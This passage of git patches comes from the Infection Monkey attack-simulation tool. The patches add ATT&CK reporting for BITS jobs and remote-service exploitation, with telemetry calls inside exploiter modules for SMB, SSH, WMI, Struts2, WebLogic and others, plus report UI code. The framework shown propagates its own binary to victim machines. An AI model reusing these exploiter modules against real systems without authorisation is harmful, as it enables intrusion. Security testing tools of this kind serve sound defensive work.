{'hostname': machine.domain_name, 'ip': machine.ip_addr} + victim_host = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr} self.data.update({'machine': victim_host}) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 52d4d6529..ebf280b00 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,5 +1,5 @@ import logging -from cc.services.attack.technique_reports import T1210 +from cc.services.attack.technique_reports import T1210, T1197 from cc.services.attack.attack_telem import get_latest_telem from cc.services.attack.attack_config import get_technique_values from cc.database import mongo @@ -9,7 +9,8 @@ __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -TECHNIQUES = {'T1210': T1210} +TECHNIQUES = {'T1210': T1210, + 'T1197': T1197} REPORT_NAME = 'new_report' @@ -44,7 +45,7 @@ class AttackReportService: if AttackReportService.is_report_generated(): telem_time = get_latest_telem() latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) - if telem_time and telem_time['timestamp'] == latest_report['meta']['timestamp']: + if telem_time and latest_report['meta'] and telem_time['time'] == latest_report['meta']['time']: return latest_report return AttackReportService.generate_new_report() diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 3cab5b620..227c03223 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -74,7 +74,7 @@ SCHEMA = { "type": "object", "properties": { "T1197": { - "title": "T1197 Bits jobs", + "title": "T1197 BITS jobs", "type": "bool", "value": True, "necessary": True, diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py index 139837835..8d7e08960 100644 --- a/monkey/monkey_island/cc/services/attack/attack_telem.py +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -18,7 +18,7 @@ def set_results(technique, data): """ data.update({'technique': technique}) mongo.db.attack_results.insert(data) - mongo.db.attack_results.update({'name': 'latest'}, {'name': 'latest', 'timestamp': time()}, upsert=True) + mongo.db.attack_results.update({'name': 'latest'}, {'name': 'latest', 'time': data['time']}, upsert=True) def get_latest_telem(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index 6121c46e3..1b3b9e708 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -1,5 +1,5 @@ from monkey_island.cc.services.attack.technique_reports.technique_service import * -from cc.services.report import ReportService +from cc.database import mongo __author__ = "VakarisZ" @@ -13,6 +13,13 @@ MESSAGES = { def get_report_data(): data = get_tech_base_data(TECHNIQUE, MESSAGES) - - data.update() + bits_results = mongo.db.attack_results.aggregate([{'$match': {'technique': TECHNIQUE}}, + {'$group': {'_id': {'ip_addr': '$machine.ip_addr', 'usage': '$usage'}, + 'ip_addr': {'$first': '$machine.ip_addr'}, + 'domain_name': {'$first': '$machine.domain_name'}, + 'usage': {'$first': '$usage'}, + 'time': {'$first': '$time'}} + }]) + bits_results = list(bits_results) + data.update({'bits_jobs': bits_results}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py index b59c1838d..e412bea8f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py @@ -6,6 +6,11 @@ __author__ = "VakarisZ" def technique_status(technique): + """ + Gets status of certain attack technique. If + :param technique: + :return: + """ if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}): return ScanStatus.USED elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}): diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/T1197.js index a5156c3f4..3b0e09e7c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/T1197.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/T1197.js @@ -1,60 +1,43 @@ import React from 'react'; import '../../styles/Collapse.scss' -import {Link} from "react-router-dom"; +import ReactTable from "react-table"; -let renderArray = function(val) { - return {val.map(x => {x} )}; -}; - - -let renderMachine = function (val, index, exploited=false) { +let renderMachine = function (val) { return ( -
      - {renderArray(val.ip_addresses)} - {(val.domain_name ? " (".concat(val.domain_name, ")") : " (".concat(val.label, ")"))} : - {exploited ? renderArray(val.exploits) : renderArray(val.services)} -
      + {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} ) }; +const columns = [ + { + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x), style: { 'whiteSpace': 'unset' }, width: 200}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, + {Header: 'Usage', id: 'usage', accessor: x => x.usage, style: { 'whiteSpace': 'unset' }} + ] + } +]; + class T1210 extends React.Component { - renderScannedMachines = (machines) => { - let content = []; - for (let i = 0; i < machines.length; i++ ){ - if (machines[i].services.length !== 0){ - content.push(renderMachine(machines[i], i)) - } - } - return
      {content}
      ; - }; - - renderExploitedMachines = (machines) => { - let content = []; - for (let i = 0; i < machines.length; i++ ){ - if (machines[i].exploits.length !== 0){ - content.push(renderMachine(machines[i], i, true)) - } - } - return
      {content}
      ; - }; - constructor(props) { super(props); } render() { - console.log(this.props); return ( -
      -
      {this.props.data.message}
      -
      Found services:
      - {this.renderScannedMachines(this.props.data.scanned_machines)} -
      Successful exploiters:
      - {this.renderExploitedMachines(this.props.data.exploited_machines)} -
      - To get more info about scanned and exploited machines view standard report. +
      +
      +
      {this.props.data.message}
      + {this.props.data.bits_jobs.length > 0 ?
      BITS jobs were used in these machines:
      : ''}
      +
      +
      ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js index 63e0222f6..8b688df7a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js @@ -44,7 +44,6 @@ class T1210 extends React.Component { } render() { - console.log(this.props); return (
      {this.props.data.message}
      diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index b35fba619..86866e700 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -5,10 +5,12 @@ import {edgeGroupToColor, options} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; import Collapse from '@kunukn/react-collapse'; import T1210 from '../attack/T1210'; +import T1197 from '../attack/T1197'; import '../../styles/Collapse.scss' const tech_components = { - 'T1210': T1210 + 'T1210': T1210, + 'T1197': T1197 }; const classNames = require('classnames'); @@ -21,7 +23,7 @@ class AttackReportPageComponent extends AuthComponent { report: false, allMonkeysAreDead: false, runStarted: true, - index: 1 + collapseOpen: '' }; } @@ -54,8 +56,8 @@ class AttackReportPageComponent extends AuthComponent { } } - onToggle = index => - this.setState(state => ({ index: state.index === index ? null : index })); + onToggle = technique => + this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique })); getTechniqueCollapse(tech_id){ switch (this.state.report[tech_id].status) { @@ -70,21 +72,21 @@ class AttackReportPageComponent extends AuthComponent { } return ( -
      - { - this.setState({ item1: collapseState }); + this.setState({ tech_id: collapseState }); }} onInit={({ collapseState }) => { - this.setState({ item1: collapseState }); + this.setState({ tech_id: collapseState }); }} render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/>
      @@ -101,9 +103,10 @@ class AttackReportPageComponent extends AuthComponent { } generateReportContent(){ - let content = ''; + let content = []; + console.log(this.state.report); Object.keys(this.state.report).forEach((tech_id) => { - content = this.getTechniqueCollapse(tech_id) + content.push(this.getTechniqueCollapse(tech_id)) }); return (
      From fae882052871e7b91df9582ef44aae7a5166f709 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 11 Apr 2019 13:08:34 +0300 Subject: [PATCH 041/598] Cosmetic changes --- monkey/monkey_island/cc/resources/attack/__init__.py | 1 + .../cc/services/attack/technique_reports/__init__.py | 1 + .../cc/ui/src/components/pages/AttackReportPage.js | 2 +- 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/attack/__init__.py b/monkey/monkey_island/cc/resources/attack/__init__.py index e69de29bb..98867ed4d 100644 --- a/monkey/monkey_island/cc/resources/attack/__init__.py +++ b/monkey/monkey_island/cc/resources/attack/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index e69de29bb..98867ed4d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index 86866e700..ff3714ef9 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -1,5 +1,5 @@ import React from 'react'; -import {Button, Col, Row, TabContainer} from 'react-bootstrap'; +import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; From f73fb9f3a94d4cdcee809e4e7a88e89b14f7dc86 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 12 Apr 2019 15:10:24 +0300 Subject: [PATCH 042/598] Refactored T1210 to have a dedicated telem. --- .../infection_monkey/exploit/elasticgroovy.py | 2 + monkey/infection_monkey/exploit/hadoop.py | 4 + monkey/infection_monkey/exploit/rdpgrinder.py | 5 +- monkey/infection_monkey/exploit/sambacry.py | 5 +- monkey/infection_monkey/exploit/shellshock.py | 5 +- monkey/infection_monkey/exploit/smbexec.py | 10 +++ monkey/infection_monkey/exploit/sshexec.py | 4 + monkey/infection_monkey/exploit/struts2.py | 4 + monkey/infection_monkey/exploit/weblogic.py | 5 ++ monkey/infection_monkey/exploit/wmiexec.py | 5 ++ monkey/infection_monkey/monkey.py | 2 + .../infection_monkey/network/elasticfinger.py | 4 + monkey/infection_monkey/network/httpfinger.py | 4 + .../network/mssql_fingerprint.py | 4 + .../infection_monkey/network/mysqlfinger.py | 5 +- monkey/infection_monkey/network/smbfinger.py | 5 +- monkey/infection_monkey/network/sshfinger.py | 4 + .../infection_monkey/network/tcp_scanner.py | 5 ++ .../attack/technique_reports/T1210.py | 32 ++++--- .../cc/ui/src/components/attack/T1210.js | 88 ++++++++++++------- 20 files changed, 150 insertions(+), 52 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index b4d3b2be8..eb6a3615c 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -58,6 +58,8 @@ class ElasticGroovyExploiter(WebRCE): result = self.get_results(response) if not result: return False + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'url': url, 'service': 'Elastic search'}).send() return result[0] def upload_monkey(self, url, commands=None): diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1db521acd..059ffb9da 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -13,6 +13,8 @@ import posixpath from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus __author__ = 'VakarisZ' @@ -48,6 +50,8 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'url': self.vulnerable_urls[0], 'service': 'Hadoop'}).send() return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 3b81f7109..99d13aa6a 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -280,10 +280,12 @@ class RdpExploiter(HostExploiter): cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) if self._config.rdp_use_vbs_download: + download_method = 'VBS' command = RDP_CMDLINE_HTTP_VBS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: + download_method = 'BITS' command = RDP_CMDLINE_HTTP_BITS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} @@ -314,7 +316,8 @@ class RdpExploiter(HostExploiter): client_factory.done_event.wait() if client_factory.success: - VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) + if download_method == 'BITS': + VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) exploited = True self.report_login_attempt(True, user, password) break diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 2468a42bc..5bc93ff28 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -4,7 +4,6 @@ import posixpath import re import time from io import BytesIO -from os import path import impacket.smbconnection from impacket.nmb import NetBIOSError @@ -22,6 +21,8 @@ from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth from infection_monkey.pyinstaller_utils import get_binary_file_path +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus __author__ = 'itay.mizeretz' @@ -89,6 +90,8 @@ class SambaCryExploiter(HostExploiter): LOG.info( "Shares triggered successfully on host %s: %s" % ( self.host.ip_addr, str(successfully_triggered_shares))) + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'port': '139/445', 'service': 'Samba'}).send() return True else: LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index a98cbda50..feeb0ccf2 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -11,6 +11,8 @@ from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_mon from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus __author__ = 'danielg' @@ -143,7 +145,8 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue - + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'url': url, 'service': 'Bash'}).send() return True return False diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 579fd8f1f..8c1469831 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -10,6 +10,8 @@ from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus LOG = getLogger(__name__) @@ -68,6 +70,10 @@ class SmbExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", self.host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) + VictimHostTelem('T1210', ScanStatus.USED.value, self.host, + {'port': ("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])), + 'service': 'SMB'}).send() exploited = True break else: @@ -137,4 +143,8 @@ class SmbExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline) + VictimHostTelem('T1210', ScanStatus.USED.value, self.host, + {'port': ("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])), + 'service': 'Elastic'}).send() return True diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 8a58f18c6..8dcd56175 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -11,6 +11,8 @@ from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus __author__ = 'hoffer' @@ -81,6 +83,8 @@ class SSHExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) exploited = True + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'port': port, 'service': 'SSH'}).send() self.report_login_attempt(True, user, curpass) break diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 18f3d3a7e..96e2d7da6 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -10,6 +10,8 @@ import re import logging from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus __author__ = "VakarisZ" @@ -91,4 +93,6 @@ class Struts2Exploiter(WebRCE): except httplib.IncompleteRead as e: page = e.partial + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'url': url, 'service': 'Struts2'}).send() return page diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 6d0748426..4f06efec0 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -10,6 +10,8 @@ from requests import post, exceptions from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus import threading import logging @@ -67,6 +69,9 @@ class WebLogicExploiter(WebRCE): except Exception as e: print('[!] Connection Error') print(e) + + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'url': url, 'service': 'Weblogic'}).send() return True def add_vulnerable_urls(self, urls, stop_checking=False): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 66cc30fa9..f92e23639 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -10,6 +10,8 @@ from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedExcep get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from common.utils.exploit_enum import ExploitType +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus LOG = logging.getLogger(__name__) @@ -103,6 +105,9 @@ class WmiExploiter(HostExploiter): if (0 != result.ProcessId) and (0 == result.ReturnValue): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) + + VictimHostTelem('T1210', ScanStatus.USED.value, + self.host, {'port': 'unknown', 'service': 'WMI'}).send() success = True else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e80e15396..2ec3e5d1f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,6 +17,8 @@ from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach +from common.utils.attack_utils import ScanStatus +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 3d62de687..f9f869ce9 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -8,6 +8,8 @@ from requests.exceptions import Timeout, ConnectionError import infection_monkey.config from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger +from common.utils.attack_utils import ScanStatus +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem ES_PORT = 9200 ES_SERVICE = 'elastic-search-9200' @@ -39,6 +41,8 @@ class ElasticFinger(HostFinger): host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] host.services[ES_SERVICE]['name'] = data['name'] host.services[ES_SERVICE]['version'] = data['version']['number'] + VictimHostTelem('T1210', ScanStatus.SCANNED.value, + host, {'port': ES_PORT, 'service': 'Elastic'}).send() return True except Timeout: LOG.debug("Got timeout while trying to read header information") diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 829c6b1b5..1b686f110 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -1,6 +1,8 @@ import infection_monkey.config from infection_monkey.network import HostFinger from infection_monkey.model.host import VictimHost +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus import logging LOG = logging.getLogger(__name__) @@ -40,6 +42,8 @@ class HTTPFinger(HostFinger): host.services['tcp-' + port[1]]['name'] = 'http' host.services['tcp-' + port[1]]['data'] = (server,ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) + VictimHostTelem('T1210', ScanStatus.SCANNED.value, + host, {'port': port[0], 'service': 'HTTP/HTTPS'}).send() break # https will be the same on the same port except Timeout: pass diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 75fde7465..08fc62e7a 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -4,6 +4,8 @@ import socket from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger import infection_monkey.config +from common.utils.attack_utils import ScanStatus +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'Maor Rayzin' @@ -68,6 +70,8 @@ class MSSQLFinger(HostFinger): # Loop through the server data instances_list = data[3:].decode().split(';;') LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + VictimHostTelem('T1210', ScanStatus.SCANNED.value, + host, {'port': MSSQLFinger.SQL_BROWSER_DEFAULT_PORT, 'service': 'MsSQL'}).send() for instance in instances_list: instance_info = instance.split(';') if len(instance_info) > 1: diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 70080c12b..05c5e9522 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -5,6 +5,8 @@ import infection_monkey.config from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus MYSQL_PORT = 3306 SQL_SERVICE = 'mysqld-3306' @@ -59,7 +61,8 @@ class MySQLFinger(HostFinger): host.services[SQL_SERVICE]['minor_version'] = version[1] host.services[SQL_SERVICE]['build_version'] = version[2] thread_id, curpos = struct_unpack_tracker(data, curpos, "{val.map(x => {x} )}; -}; +import ReactTable from "react-table"; -let renderMachine = function (val, index, exploited=false) { +let renderMachine = function (val) { return ( -
      - {renderArray(val.ip_addresses)} - {(val.domain_name ? " (".concat(val.domain_name, ")") : " (".concat(val.label, ")"))} : - {exploited ? renderArray(val.exploits) : renderArray(val.services)} -
      + {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} ) }; +let renderPort = function (service){ + if(service.url){ + return service.url + } else { + return service.port + } +}; + +const columns = [ + { + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x), style: { 'whiteSpace': 'unset' }, width: 200}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, + {Header: 'Port/url', id: 'port', accessor: x =>renderPort(x), style: { 'whiteSpace': 'unset' }}, + {Header: 'Service', id: 'service', accessor: x => x.service, style: { 'whiteSpace': 'unset' }} + ] + } +]; + class T1210 extends React.Component { - renderScannedMachines = (machines) => { - let content = []; - for (let i = 0; i < machines.length; i++ ){ - if (machines[i].services.length !== 0){ - content.push(renderMachine(machines[i], i)) - } - } - return
      {content}
      ; - }; - - renderExploitedMachines = (machines) => { - let content = []; - for (let i = 0; i < machines.length; i++ ){ - if (machines[i].exploits.length !== 0){ - content.push(renderMachine(machines[i], i, true)) - } - } - return
      {content}
      ; - }; - constructor(props) { super(props); } + renderFoundServices(data) { + return ( +
      +
      +
      Found services:
      + +
      ) + } + + renderExploitedServices(data) { + return ( +
      +
      +
      Exploited services:
      + +
      ) + } + render() { return (
      {this.props.data.message}
      - {this.props.data.scanned_machines.length > 0 ?
      Found services:
      : ''} - {this.renderScannedMachines(this.props.data.scanned_machines)} - {this.props.data.exploited_machines.length > 0 ?
      Successful exploiters:
      : ''} - {this.renderExploitedMachines(this.props.data.exploited_machines)} + {this.props.data.found_services.length > 0 ? + this.renderFoundServices(this.props.data.found_services) : ''} + {this.props.data.exploited_services.length > 0 ? + this.renderExploitedServices(this.props.data.exploited_services) : ''}
      To get more info about scanned and exploited machines view standard report.
      From 2f66b77a3348270284207626bfdd2b5ec6a4c792 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Apr 2019 09:41:03 +0300 Subject: [PATCH 043/598] small refactor in rdbgrinder --- monkey/infection_monkey/exploit/rdpgrinder.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 99d13aa6a..28b1b7c70 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -280,12 +280,10 @@ class RdpExploiter(HostExploiter): cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) if self._config.rdp_use_vbs_download: - download_method = 'VBS' command = RDP_CMDLINE_HTTP_VBS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: - download_method = 'BITS' command = RDP_CMDLINE_HTTP_BITS % { 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} @@ -316,7 +314,7 @@ class RdpExploiter(HostExploiter): client_factory.done_event.wait() if client_factory.success: - if download_method == 'BITS': + if not self._config.rdp_use_vbs_download: VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) exploited = True self.report_login_attempt(True, user, password) From 6fb06bc24d825948c92c805618c461e568249519 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Apr 2019 16:01:19 +0300 Subject: [PATCH 044/598] Refactored island imports according to latest changes --- monkey/monkey_island/cc/app.py | 6 +++--- monkey/monkey_island/cc/services/attack/attack_report.py | 8 ++++---- .../cc/services/attack/technique_reports/T1197.py | 2 +- .../cc/services/attack/technique_reports/T1210.py | 1 - .../attack/technique_reports/technique_service.py | 4 ++-- .../cc/ui/src/components/pages/AttackReportPage.js | 1 - 6 files changed, 10 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a76774079..27b1fdc06 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,9 +31,9 @@ from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.services.config import ConfigService from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.resources.pba_file_upload import FileUpload -from monkey_island.cc.resources.attack_telem import AttackTelem -from monkey_island.cc.resources.attack_config import AttackConfiguration -from monkey_island.cc.resources.attack_report import AttackReport +from monkey_island.cc.resources.attack.attack_telem import AttackTelem +from monkey_island.cc.resources.attack.attack_config import AttackConfiguration +from monkey_island.cc.resources.attack.attack_report import AttackReport __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index ebf280b00..8e4b83858 